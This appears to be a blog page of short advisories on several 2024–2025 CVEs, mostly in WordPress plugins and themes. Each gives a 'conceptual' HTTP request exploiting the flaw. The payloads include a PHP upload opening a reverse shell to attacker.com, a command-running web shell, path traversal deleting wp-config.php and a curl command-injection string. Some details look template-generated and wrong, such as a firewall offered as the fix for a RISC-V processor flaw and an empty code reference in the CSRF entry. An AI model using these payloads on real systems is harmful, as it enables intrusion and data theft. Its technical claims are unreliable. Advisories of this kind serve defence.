Author: Ameeba

CVE-2025-6459: Ads Pro Plugin Cross-Site Request Forgery (CSRF) Vulnerability
Overview

A critical vulnerability has been discovered in all versions of the Ads Pro Plugin – Multi-Purpose WordPress Advertising Manager plugin for WordPress, up to and including version 4.89. This vulnerability, identified as CVE-2025-6459, exposes websites to potential system compromise and data leakage. Given the widespread use of WordPress and its plugins, this vulnerability could have far-reaching implications for site owners, potentially allowing unauthenticated attackers to gain unauthorized access to sensitive data and systems.

Vulnerability Summary

CVE ID: CVE-2025-6459
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Ads Pro Plugin – Multi-Purpose WordPress Advertising Manager | Up to and including 4.89

How the Exploit Works

The vulnerability arises due to missing or incorrect nonce validation on the `bsaCreateAdTemplate` function. This weakness in validation allows an attacker to forge a request and inject arbitrary PHP code. If an unauthenticated attacker can trick a site administrator into performing an action such as clicking a link (a typical CSRF attack), the attacker’s injected code can be executed, potentially leading to system compromise and data leakage.

Conceptual Example Code

The following is a conceptual representation of a malicious HTTP request exploiting the vulnerability:
```
POST /bsaCreateAdTemplate HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
ad_id=123&ad_template=<php code injection>
```
In this example, `` represents the attacker’s arbitrary PHP code.

Mitigation

To mitigate the CVE-2025-6459 vulnerability, apply the vendor-provided patch to the Ads Pro Plugin. If the patch cannot be applied immediately, consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.
Remember, it’s crucial to always keep your systems and plugins updated to prevent becoming a victim of such vulnerabilities.
July 8, 2025
CVE-2025-5014: Arbitrary File Deletion Vulnerability in Home Villas | Real Estate WordPress Theme
Overview

In this post, we dive into a significant cybersecurity vulnerability, CVE-2025-5014, that affects the Home Villas | Real Estate WordPress Theme. This vulnerability allows an authenticated attacker with Subscriber-level access to perform arbitrary file deletion, which, under certain circumstances, can lead to remote code execution. Given the popularity of WordPress and the multitude of sites leveraging it, this vulnerability poses a considerable risk and potentially exposes a large number of websites to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-5014
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Home Villas | Real Estate WordPress Theme | Up to and including 2.8

How the Exploit Works

The vulnerability lies in the ‘wp_rem_cs_widget_file_delete’ function, which does not adequately validate the file path. This failure can allow an authenticated attacker to delete arbitrary files on the server. If an attacker deletes a critical file like ‘wp-config.php’, it could lead to remote code execution, giving the attacker control over the system.

Conceptual Example Code

This conceptual example demonstrates how an attacker might exploit the vulnerability by sending a malicious request to delete the ‘wp-config.php’ file:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=wp_rem_cs_widget_file_delete&wp_rem_cs_widget_data=../../../wp-config.php
```
In this example, the attacker sends a POST request to ‘admin-ajax.php’, an internal WordPress file that processes AJAX requests. The ‘action’ parameter is set to the vulnerable function ‘wp_rem_cs_widget_file_delete. The ‘wp_rem_cs_widget_data’ parameter is set to a file path, which in this case is a relative path to the ‘wp-config.php’ file.

Mitigation and Prevention

The most effective mitigation against this vulnerability is to apply the vendor’s patch. Users of the Home Villas | Real Estate WordPress Theme should ensure they have updated to the latest version, which includes a fix for this vulnerability.
In cases where immediate patching is not possible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability.
Remember, maintaining up-to-date software versions and regularly scanning for vulnerabilities is a best practice in securing any system. It’s essential to take these steps to protect your WordPress site and its users from potential security threats.
July 8, 2025
CVE-2024-13786: Critical PHP Object Injection Vulnerability in WordPress Education Theme
Overview

In this blog post, we’ll be discussing a critical vulnerability, identified as CVE-2024-13786, that affects the education theme for WordPress, a widely used Content Management System (CMS). This vulnerability could potentially lead to a system compromise or data leakage, posing serious security risks for users of this theme. It is paramount for users and developers alike to understand the severity of this vulnerability, how it operates, and the steps required to mitigate it.

Vulnerability Summary

CVE ID: CVE-2024-13786
Severity: Critical, with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage. An attacker can manipulate the PHP Object to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the PHP Object Injection (POP) chain present.

Affected Products

Product | Affected Versions

WordPress Education Theme | All versions up to and including 3.6.10

How the Exploit Works

In the case of CVE-2024-13786, the vulnerability arises due to deserialization of untrusted input in the ‘themerex_callback_view_more_posts’ function. This allows unauthenticated attackers to inject a PHP Object. The vulnerability itself doesn’t pose a threat unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This is simplified pseudocode to illustrate the exploitation process:
```
POST /themerex_callback_view_more_posts HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_PHP_object": "O:8:'stdClass':1:{s:4:'file';s:12:'/etc/passwd';}" }
```
In this example, the attacker sends a serialized PHP object to the ‘themerex_callback_view_more_posts’ function. If a POP chain is present, the attacker could potentially gain access to sensitive information or execute arbitrary code.

Mitigation Measures

To mitigate this vulnerability, users should apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Furthermore, users should avoid installing plugins or themes that may contain a POP chain until the patch has been applied. It’s always a good practice to keep your system and its components up-to-date to minimize exposure to such vulnerabilities.
July 7, 2025
CVE-2025-3848: Privilege Escalation Vulnerability in WP SmartPay Plugin for WordPress
Overview

The cybersecurity community has identified a critical vulnerability associated with the WP SmartPay plugin used with WordPress. Designated as CVE-2025-3848, this vulnerability affects versions 1.1.0 to 2.7.13 of the plugin and could potentially impact millions of users worldwide. The vulnerability lies in the plugin’s failure to validate user identities properly before updating their email addresses. This flaw allows for a significant security breach, enabling authenticated attackers to potentially take over administrative accounts, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-3848
Severity: High (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Account Takeover, Potential System Compromise, and Data Leakage

Affected Products

Product | Affected Versions

WP SmartPay Plugin for WordPress | 1.1.0 to 2.7.13

How the Exploit Works

The vulnerability, CVE-2025-3848, exists due to the WP SmartPay plugin’s inadequate validation of user identities before updating their email addresses. An authenticated attacker with Subscriber-level access can exploit this flaw, manipulating the update() function to change the email address of any user, including administrators. This action allows the attacker to initiate a password reset for the targeted account, receive the reset link via the newly updated email, and thus gain unauthorized access to the account.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. We’ll use a HTTP request to illustrate this:
```
POST /wp-smartpay/update-user HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authentication: Bearer [attacker's token]
{
"user_id": "admin",
"email": "attacker@example.com"
}
```
In this example, the attacker sends a POST request to the `update-user` endpoint of the WP SmartPay plugin, modifying the `user_id` value to the target user (e.g., “admin”) and the `email` value to the attacker’s email address. This action triggers a password reset, granting the attacker unauthorized access to the account.

Mitigation Guidance

The vendor has released a patch to address this vulnerability. Users of the WP SmartPay plugin for WordPress are advised to update to the latest version immediately. If unable to apply the patch promptly, users should implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regular monitoring of account activities and unusual login attempts is also advised to detect potential exploits.
July 7, 2025
CVE-2025-5746: Arbitrary File Upload Vulnerability in WooCommerce Plugin for WordPress
Overview

In the realm of cybersecurity, vulnerabilities are a constant threat, and staying aware of these threats is critical to maintaining a secure digital environment. Today, we will be discussing in detail about the CVE-2025-5746 vulnerability, a severe security flaw that affects the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress. This vulnerability is concerning as it allows unauthenticated attackers to upload arbitrary files on the affected site’s server, potentially leading to remote code execution.
With a CVSS Severity Score of 9.8, this vulnerability poses a serious risk to WordPress sites making use of this plugin and could result in potential system compromise or data leakage. The following sections provide a comprehensive explanation of this vulnerability, including its impact, how it works, and how it can be mitigated.

Vulnerability Summary

CVE ID: CVE-2025-5746
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Drag and Drop Multiple File Upload (Pro) – WooCommerce for WordPress (bundled with PrintSpace theme) | 5.0 – 5.0.5
Drag and Drop Multiple File Upload (Pro) – WooCommerce for WordPress (standalone version) | Up to and including 1.7.1

How the Exploit Works

The CVE-2025-5746 vulnerability lies within the dnd_upload_cf7_upload_chunks() function of the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress. This function lacks file type validation, allowing unauthenticated attackers to upload arbitrary files to the server.
While the execution of PHP is disabled via a .htaccess file, this safeguard can be bypassed in certain server configurations, allowing potential remote code execution. An attacker could potentially use this exploit to compromise the system or leak data.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is shown below. While this example does not represent a specific, real-world exploit, it demonstrates the potential risk.
```
POST /wp-content/plugins/drag-and-drop-multiple-file-upload/contact-form-7/dnd-upload-cf7.php HTTP/1.1
Host: victim-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file-0"; filename="evil.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, an attacker is uploading a malicious PHP file (evil.php) that establishes a reverse shell back to the attacker’s server.

Mitigation Guidance

The most recommended mitigation for this vulnerability is to apply the vendor-provided patch as soon as possible. If a patch is unavailable or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability.
July 7, 2025
CVE-2025-5692: Unauthorized Data Modification and Privilege Escalation in WordPress Lead Form Data Collection to CRM Plugin
Overview

In this post, we explore an important cybersecurity vulnerability, CVE-2025-5692, which affects the Lead Form Data Collection to CRM Plugin for WordPress. This vulnerability can lead to unauthorized modification of data and privilege escalation. It is particularly concerning because it can enable attackers with Subscriber-level access to escalate their privileges to the administrator level, thereby gaining full control over the vulnerable WordPress site. Such control could potentially lead to system compromise or data leakage, putting sensitive information at risk.

Vulnerability Summary

CVE ID: CVE-2025-5692
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Unauthorized modification of data, privilege escalation, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Lead Form Data Collection to CRM Plugin for WordPress | All versions up to, and including, 3.1

How the Exploit Works

The vulnerability lies in the doFieldAjaxAction() function used by the plugin, which lacks a proper capability check. This oversight allows authenticated attackers with Subscriber-level access to exploit AJAX actions that handle plugin settings, which are insufficiently protected. Consequently, the attackers can update arbitrary options on the WordPress site. For instance, they can modify the default role for registration to the administrator and enable user registration. This allows the attackers to register as administrators themselves, thereby gaining administrative user access to the vulnerable WordPress site.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is as follows:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: application/x-www-form-urlencoded
action=lead_form_data_collection_to_crm_plugin&task=update_option&option_name=default_role&option_value=administrator
```
In this example, the attacker sends a POST request to the admin-ajax.php file, which is used to process AJAX requests in WordPress. The action parameter is set to the vulnerable plugin’s handle, and the task parameter is set to update_option. The option_name parameter is set to default_role, and the option_value is set to administrator. This effectively changes the default user role to administrator.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it is available. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can be configured to detect and block suspicious activities related to this exploit. In the meantime, it is also advisable to restrict user registration and limit the permissions of new users to prevent potential attacks.
July 7, 2025
CVE-2025-4689: Critical Vulnerability in Ads Pro Plugin for WordPress Leading to Remote Code Execution
Overview

The Ads Pro Plugin for WordPress, a popular advertising manager plugin, has been discovered to contain a critical vulnerability, marked as CVE-2025-4689. This vulnerability exposes systems running all versions up to and including 4.89 to potential Local File Inclusion (LFI) attacks, which could lead to Remote Code Execution (RCE). This vulnerability affects not only individual websites but also web hosting providers and businesses that rely on the WordPress platform for their online presence. The impact of this vulnerability is significant, as it allows an attacker to execute arbitrary PHP code on the server, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-4689
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Ads Pro Plugin – Multi-Purpose WordPress Advertising Manager | All versions up to and including 4.89

How the Exploit Works

The vulnerability exists due to a combination of SQL Injection (SQLi) and Local File Inclusion (LFI) vulnerabilities. An attacker can exploit this vulnerability by uploading an image file to the server which can then be fetched via a SQL injection vulnerability. The fetched image is subsequently executed as PHP code through the local file inclusion vulnerability, allowing the attacker to execute arbitrary code on the server.

Conceptual Example Code

The following conceptual code illustrates how an unauthenticated attacker might exploit this vulnerability:
```
POST /wp-content/plugins/adspro-plugin/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
The above request uploads a malicious PHP file disguised as an image to the server. The attacker can then trigger the SQLi vulnerability to fetch the uploaded file, which is subsequently executed as PHP code.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and block the exploitation of this vulnerability. Regularly updating and patching your systems can help prevent the exploitation of such vulnerabilities in the future.
July 7, 2025
CVE-2025-45006: Critical Vulnerability in Open-Source RISC-V Processor
Overview

A critical vulnerability has been discovered in the Open-Source RISC-V Processor that can potentially lead to system compromise and data leakage. This vulnerability, identified as CVE-2025-45006, involves the improper retention of the mstatus.SUM bit in commit f517abb. This violation of privileged spec constraints may enable an attacker to access the physical memory of the system, thus leading to a serious security breach. Given the severity of this vulnerability, it is imperative for system administrators and cybersecurity professionals to understand the depth and breadth of this issue and take necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-45006
Severity: Critical (CVSS score 9.1)
Attack Vector: Physical memory access
Privileges Required: High
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Open-Source RISC-V Processor | Commit f517abb

How the Exploit Works

The exploit takes advantage of the improper retention of the mstatus.SUM bit in the Open-Source RISC-V Processor. Due to this flaw, an attacker can leverage this to violate privileged spec constraints and gain unauthorized access to the physical memory of the system. This can potentially lead to a full system compromise and data leakage if the attacker manages to exploit this flaw successfully.

Conceptual Example Code

While an actual exploit code would be highly specific and complex, the general concept would be as follows:
```
# Exploit pseudo-code
# Assuming attacker has gained high privilege access
# Access the mstatus register
mstatus = read_register('mstatus')
# Set the SUM bit to non-zero
mstatus['SUM'] = 1
# Write back to the mstatus register
write_register('mstatus', mstatus)
# Now the attacker can potentially access physical memory violating spec constraints.
```
Note: This is a highly simplified example and the actual exploit would be far more complex and specific, depending on the exact architecture and configuration of the target system.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor-supplied patch as soon as it becomes available. Until then, as a temporary mitigation, it is suggested to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block any potential exploit attempts. Administrators should also monitor system logs for any unusual activity and ensure all systems are running the latest security updates.
July 7, 2025
CVE-2025-53104: Command Injection Vulnerability in gluestack-ui’s GitHub Actions Workflow
Overview

The cybersecurity landscape is constantly evolving, and one recent development that has caught our attention is a critical vulnerability identified in gluestack-ui, a highly popular library of components and patterns designed with Tailwind CSS (NativeWind). This vulnerability, officially designated as CVE-2025-53104, potentially affects any individual or organization that uses a fork or derivative of the gluestack-ui repository. The significance of this vulnerability lies in its potential to allow an attacker to execute arbitrary shell commands, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53104
Severity: Critical (9.1 based on CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

gluestack-ui | Prior to commit e6b4271

How the Exploit Works

The vulnerability stems from the discussion-to-slack.yml GitHub Actions workflow in gluestack-ui. Untrusted discussion fields, such as the title or body, were directly interpolated into shell commands in a run: block within this workflow. Therefore, a potential attacker could craft a malicious GitHub Discussion title or body, allowing them to execute arbitrary shell commands on the Actions runner.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. They could use a GitHub Discussion title or body like this:
```
POST /github/discussion HTTP/1.1
Host: github.com
Content-Type: application/json
{ "title": "$(curl -X DELETE http://target.example.com)" }
```
That command could potentially delete all data from a target server.

Recommendations for Mitigation

While the vulnerability has been fixed in commit e6b4271 with the removal of the discussion-to-slack.yml workflow, users of forks or derivatives of the gluestack-ui repository should ensure they have applied this update. For those unable to apply the update immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could provide temporary mitigation.
July 7, 2025
CVE-2025-52101: Incorrect Access Control Vulnerability in linjiashop <=0.9
Overview

The world of cybersecurity is continuously evolving, with the emergence of new threats and vulnerabilities. One such threat, recently identified, is the CVE-2025-52101 vulnerability. This flaw affects linjiashop software versions up to and including 0.9, and it poses a significant risk mainly to e-commerce businesses that use this software for their online shopping platforms. This vulnerability is a serious concern as it allows attackers to bypass authentication and access sensitive data such as encrypted passwords and salts, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52101
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

linjiashop | <=0.9 How the Exploit Works

The CVE-2025-52101 vulnerability lies in the incorrect access control of the linjiashop software. In detail, when using the default-generated JWT (JSON Web Token) authentication, attackers can bypass this authentication layer. This bypass allows attackers to retrieve the encrypted “password” and “salt” information. With this data in hand, attackers can then use brute-force cracking techniques to decipher the password, gaining unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited using an HTTP request:
```
GET /api/userinfo HTTP/1.1
Host: target.example.com
Authorization: Bearer default-generated-jwt
```
In this example, an attacker uses a default-generated JWT in the Authorization header to bypass authentication and retrieve user information, which includes encrypted passwords and salts.

Mitigation and Patch Info

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation method to monitor and block suspicious activities. Be vigilant about monitoring your systems for any signs of unauthorized access or unusual activity.
In conclusion, CVE-2025-52101 is a critical vulnerability that highlights the importance of robust security practices in the realm of software development and the cybersecurity landscape. Businesses must remain vigilant and proactive in applying patches and updates to ensure the security of their online platforms.
July 7, 2025